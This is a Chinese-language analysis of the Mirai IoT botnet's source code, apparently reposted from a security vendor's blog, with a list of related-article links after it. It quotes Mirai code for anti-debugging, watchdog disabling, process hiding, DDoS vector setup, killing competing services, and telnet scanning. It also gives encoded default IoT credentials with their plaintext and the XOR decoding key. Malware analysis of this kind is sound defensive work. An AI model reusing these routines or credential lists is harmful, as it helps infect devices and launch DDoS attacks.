物联网僵尸网络病毒“Mirai”在上月参与发起了针对KrebOnSecurity安全站点的大规模分布式DDoS攻击,新一类僵尸网络从各种容易被感染的物联网设备中发起,流量巨大防不胜防。“Mirai”可以高效扫描物联网系统设备,感染采用出厂密码设置或弱密码加密的脆弱物联网设备,被病毒感染后,设备成为僵尸网络机器人后在黑客命令下发动高强度僵尸网络攻击。本文针对Mirai源码进行详细分析。

文章目录

1.    代码结构

2.    感染途径

3.    功能实现

4.    Bot文件夹

连接域名及端口号

DDOS攻击方法

设置用户名密码

5.    CNC文件夹

6.    Tools文件夹

Single_Load.c 加载文件

Wget.c 获取远程文件

Nogdb.c(更新文件信息)

Badbot.c(显示指定的bot信息)

Enc.c

7.    loader文件夹

8.    防护方法

1.    代码结构

如下图所示,主要包含两个文件夹,其中loader文件夹为加载器,完成服务端创建和状态监控的功能;mirai文件夹完成主要的恶意功能,包含网络连接、DDOS执行、下载(等工具的实现)以及主控端操作功能。

代码结构

代码结构

2.    感染途径

攻击者通过SSH或Telnet账号,使用默认密码入侵物联网设备。

3.    功能实现

代码实现的恶意功能从源码来看,主要包含3方面,主要是bot文件夹,实现反调试、隐藏自身进程、设置初始的域名端口值、设置默认弱口令、网络连接及DDOS攻击功能;Tools文件夹,实现wget、更新文件、异或数据等工具性功能。CNC文件夹能够在主控端对成功感染的bot进行监控并作为接收指令端解析指令并发起ddos攻击。

同时bot文件夹下实现功能时,会打开PF_INET(原始套接字,TCP的UNIX网络套接字),并将它绑定到本地主机IP地址127.0.0.1的端口TCP/48101,之后开始监听连入连接。一旦网络中有一个设备受感染,则会通过Telnet服务连接,进一步扩大感染范围。

4.    Bot文件夹

从代码函数功能上看,具有以下功能:

反GDB调试,解析CC地址,网络连接、实现DDOS攻击等功能。

static void anti_gdb_entry(int);

static void resolve_cnc_addr(void);

static void establish_connection(void);

static void teardown_connection(void);

static void ensure_single_instance(void);

static BOOL unlock_tbl_if_nodebug(char *);

如果监测到gdb调试,则进行自删除,阻止watchdog重新启动设备,并显示连接CC地址失败。

// Delete self

unlink(args[0]);

// Signal based control flow

sigemptyset(&sigs);

sigaddset(&sigs, SIGINT);

sigprocmask(SIG_BLOCK, &sigs, NULL);

signal(SIGCHLD, SIG_IGN);

signal(SIGTRAP, &anti_gdb_entry);

// Prevent watchdog from rebooting device

if ((wfd = open("/dev/watchdog", 2)) != -1 ||

(wfd = open("/dev/misc/watchdog", 2)) != -1)

{

int one = 1;

ioctl(wfd, 0x80045704, &one);

close(wfd);

wfd = 0;

}

chdir("/");

确保每次只有一个实例运行(通过连接本地端口48101),并通过此端口号关闭相对应的进程。

addr.sin_family = AF_INET;

addr.sin_addr.s_addr = local_bind ? (INET_ADDR(127,0,0,1)) : LOCAL_ADDR;

addr.sin_port = htons(SINGLE_INSTANCE_PORT);

// Try to bind to the control port

errno = 0;

if (bind(fd_ctrl, (struct sockaddr *)&addr, sizeof (struct sockaddr_in)) == -1)

{

if (errno == EADDRNOTAVAIL && local_bind)

local_bind = FALSE;

#ifdef DEBUG

printf("[main] Another instance is already running (errno = %d)! Sending kill request...\r\n", errno);

#endif

隐藏进程

// Hide argv0

name_buf_len = ((rand_next() % 4) + 3) * 4;

rand_alphastr(name_buf, name_buf_len);

name_buf[name_buf_len] = 0;

util_strcpy(args[0], name_buf);

// Hide process name

name_buf_len = ((rand_next() % 6) + 3) * 4;

rand_alphastr(name_buf, name_buf_len);

name_buf[name_buf_len] = 0;

prctl(PR_SET_NAME, name_buf);

// Print out system exec

table_unlock_val(TABLE_EXEC_SUCCESS);

tbl_exec_succ = table_retrieve_val(TABLE_EXEC_SUCCESS, &tbl_exec_succ_len);

write(STDOUT, tbl_exec_succ, tbl_exec_succ_len);

write(STDOUT, "\n", 1);

table_lock_val(TABLE_EXEC_SUCCESS);

攻击初始化,设置攻击类型,包含UDP、VSE、DNS、SYN等多种DDOS攻击方式。

BOOL attack_init(void)

{

int i;

add_attack(ATK_VEC_UDP, (ATTACK_FUNC)attack_udp_generic);

add_attack(ATK_VEC_VSE, (ATTACK_FUNC)attack_udp_vse);

add_attack(ATK_VEC_DNS, (ATTACK_FUNC)attack_udp_dns);

add_attack(ATK_VEC_UDP_PLAIN, (ATTACK_FUNC)attack_udp_plain);

add_attack(ATK_VEC_SYN, (ATTACK_FUNC)attack_tcp_syn);

add_attack(ATK_VEC_ACK, (ATTACK_FUNC)attack_tcp_ack);

add_attack(ATK_VEC_STOMP, (ATTACK_FUNC)attack_tcp_stomp);

add_attack(ATK_VEC_GREIP, (ATTACK_FUNC)attack_gre_ip);

add_attack(ATK_VEC_GREETH, (ATTACK_FUNC)attack_gre_eth);

//add_attack(ATK_VEC_PROXY, (ATTACK_FUNC)attack_app_proxy);

add_attack(ATK_VEC_HTTP, (ATTACK_FUNC)attack_app_http);

return TRUE;

}

端口初始化,通过端口号关闭使用telnet、SSH、HTTP服务的其他进程,并防止其重新启动。

// Kill telnet service and prevent it from restarting

#ifdef KILLER_REBIND_TELNET

#ifdef DEBUG

printf("[killer] Trying to kill port 23\n");

#endif

if (killer_kill_by_port(htons(23)))

{

#ifdef DEBUG

printf("[killer] Killed tcp/23 (telnet)\n");

#endif

} else {

#ifdef DEBUG

printf("[killer] Failed to kill port 23\n");

#endif

}

tmp_bind_addr.sin_port = htons(23);

if ((tmp_bind_fd = socket(AF_INET, SOCK_STREAM, 0)) != -1)

{

bind(tmp_bind_fd, (struct sockaddr *)&tmp_bind_addr, sizeof (struct sockaddr_in));

listen(tmp_bind_fd, 1);

}

#ifdef DEBUG

printf("[killer] Bound to tcp/23 (telnet)\n");

#endif

#endif

// Kill SSH service and prevent it from restarting

……

// Kill HTTP service and prevent it from restarting

……

……

扫描初始化,扫描局域网中具有弱口令以及开放23端口的其他设备

// Set up IPv4 header

iph->ihl = 5;

iph->version = 4;

iph->tot_len = htons(sizeof (struct iphdr) + sizeof (struct tcphdr));

iph->id = rand_next();

iph->ttl = 64;

iph->protocol = IPPROTO_TCP;

// Set up TCP header

tcph->dest = htons(23);

tcph->source = source_port;

tcph->doff = 5;

tcph->window = rand_next() & 0xffff;

tcph->syn = TRUE;

// Set up passwords

add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10);                     // root     xc3511

add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9);                          // root     vizxv

add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8);                          // root     admin

add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7);

……

static ipv4_t get_random_ip(void)

{

uint32_t tmp;

uint8_t o1, o2, o3, o4;

do

{

tmp = rand_next();

o1 = tmp & 0xff;

o2 = (tmp >> 8) & 0xff;

o3 = (tmp >> 16) & 0xff;

o4 = (tmp >> 24) & 0xff;

}

while (o1 == 127 ||                             // 127.0.0.0/8      - Loopback

(o1 == 0) ||                              // 0.0.0.0/8        - Invalid address space

(o1 == 3) ||                              // 3.0.0.0/8        - General Electric Company

(o1 == 15 || o1 == 16) ||                 // 15.0.0.0/7       - Hewlett-Packard Company

(o1 == 56) ||                             // 56.0.0.0/8       - US Postal Service

(o1 == 10) ||                             // 10.0.0.0/8       - Internal network

(o1 == 192 && o2 == 168) ||               // 192.168.0.0/16   - Internal network

(o1 == 172 && o2 >= 16 && o2 < 32) ||     // 172.16.0.0/14    - Internal network

(o1 == 100 && o2 >= 64 && o2 < 127) ||    // 100.64.0.0/10    - IANA NAT reserved

(o1 == 169 && o2 > 254) ||                // 169.254.0.0/16   - IANA NAT reserved

(o1 == 198 && o2 >= 18 && o2 < 20) ||     // 198.18.0.0/15    - IANA Special use

(o1 >= 224) ||                            // 224.*.*.*+       - Multicast

(o1 == 6 || o1 == 7 || o1 == 11 || o1 == 21 || o1 == 22 || o1 == 26 || o1 == 28 || o1 == 29 || o1 == 30 || o1 == 33 || o1 == 55 || o1 == 214 || o1 == 215) // Department of Defense

);

return INET_ADDR(o1,o2,o3,o4);

}

其中用户名密码的加密算法为:

for (i = 0; i < *len; i++)

{

cpy[i] ^= 0xDE;

cpy[i] ^= 0xAD;

cpy[i] ^= 0xBE;

cpy[i] ^= 0xEF;

}

当检测到新的实例运行时,则终止自身进程,同时终止扫描和所有的攻击任务。

内容来源:http://blog.nsfocus.net/mirai-source-analysis-report/

详细内容请点击原文链接

Mirai源码分析报告 (1)相关推荐

  1. Mirai 源码分析

    Mirai 源码分析 目录 Mirai 源码分析 1. 背景概述 2. 源码分析 2.1 payload分析 2.2 loader分析 2.3 cnc与tools简单分析 3. 后记 4. 参考链接 ...

  2. spark 源码分析 Blockmanager

    原文链接 参考, Spark源码分析之-Storage模块 对于storage, 为何Spark需要storage模块?为了cache RDD  Spark的特点就是可以将RDD cache在memo ...

  3. Spark源码分析 – DAGScheduler

    DAGScheduler的架构其实非常简单, 1. eventQueue, 所有需要DAGScheduler处理的事情都需要往eventQueue中发送event 2. eventLoop Threa ...

  4. 【Java 并发编程】线程池机制 ( 线程池执行任务细节分析 | 线程池执行 execute 源码分析 | 先创建核心线程 | 再放入阻塞队列 | 最后创建非核心线程 )

    文章目录 一.线程池执行任务细节分析 二.线程池执行 execute 源码分析 一.线程池执行任务细节分析 线程池执行细节分析 : 核心线程数 101010 , 最大小成熟 202020 , 非核心线 ...

  5. 极光实时监听怎么调用_源码分析 Sentinel 实时数据采集实现原理(图文并茂)

    本篇将重点关注 Sentienl 实时数据收集,即 Sentienl 具体是如何收集调用信息,以此来判断是否需要触发限流或熔断. Sentienl 实时数据收集的入口类为 StatisticSlot. ...

  6. 这篇文章绝对让你深刻理解java类的加载以及ClassLoader源码分析

    前言 package com.jvm.classloader;class Father2{public static String strFather="HelloJVM_Father&qu ...

  7. rdkafka线程过多_Kafka快速入门(十一)——RdKafka源码分析

    Kafka快速入门(十一)--RdKafka源码分析 一.RdKafka C源码分析 1.Kafka OP队列 RdKafka将与Kafka Broke的交互.内部实现的操作都封装成Operator结 ...

  8. 从源码分析RocketMQ系列-Remoting通信架构源码详解

    导语   这篇博客要从官方给出的一张图开始说起,之前的分析我们都是简单的分析了一下消息传递的流程,以及消息传递流程过程中出现的一些类的封装,并且提出,所有的封装操作都是为了更加高效的服务于NameSe ...

  9. Redis 的 Sentinel哨兵介绍与源码分析(1):初始化部分

    http://www.redis.cn/topics/sentinel.html redis-6.0.8 本文是在官方中文文档的基础上进行的源码分析,其中包含完整的原文,并在此基础上,添加源码介绍. ...

最新文章

  1. MongoDB:详细解释mongodb的高级操作,聚合和游标
  2. IBC+Palette 实现屏幕内容编码优化
  3. Python—实训day7下—Pandas统计分析基础
  4. oracle-SQL-case when 改用 DECODE
  5. 中国检测开关行业市场供需与战略研究报告
  6. C++ 设计模式 —— 控制器设计模式(实现功能模块间通信)
  7. freeradius 在centos上的安装和调试
  8. 拓端tecdat|R如何与Tableau集成分步指南 - 适用于数据科学和商业智能专业人员
  9. C#类、方法的访问修饰符
  10. 21天学通C语言-学习笔记(5)
  11. Latex入门——使用vscode实时编辑latex文档
  12. IAR工程适配GD32芯片
  13. 二、azkaban 指南
  14. 使用ML 和 DNN 建模技巧总结
  15. js获取不同时区时间
  16. 无法使用内置管理员账户打开Microsoft Edge
  17. 关于数据库中存储密码的加密
  18. Git操作 【详细】【详细】
  19. Core Techniques And Algorithms In Game Programming
  20. Python复习边边角角 (四)运算符

热门文章

  1. 帆软FineReport本地部署springboot
  2. 日语笔记(2) 动词ます形
  3. 用Javascript开发《三国志曹操传》-开源讲座(一)-让静态人物动起来
  4. 初学者 Vi 备忘单
  5. Linux嵌入式系统简答题复习
  6. Linux字符界面与图形界面的切换
  7. 什么是生命周期函数?
  8. 基于EasyDarwin开源流媒体服务器框架实现EasyNVR H5无插件直播流媒体服务器方案
  9. 打印九九口诀表 (15 分)
  10. 轻量级 Linux 发行版CRUX 发布 3.4 版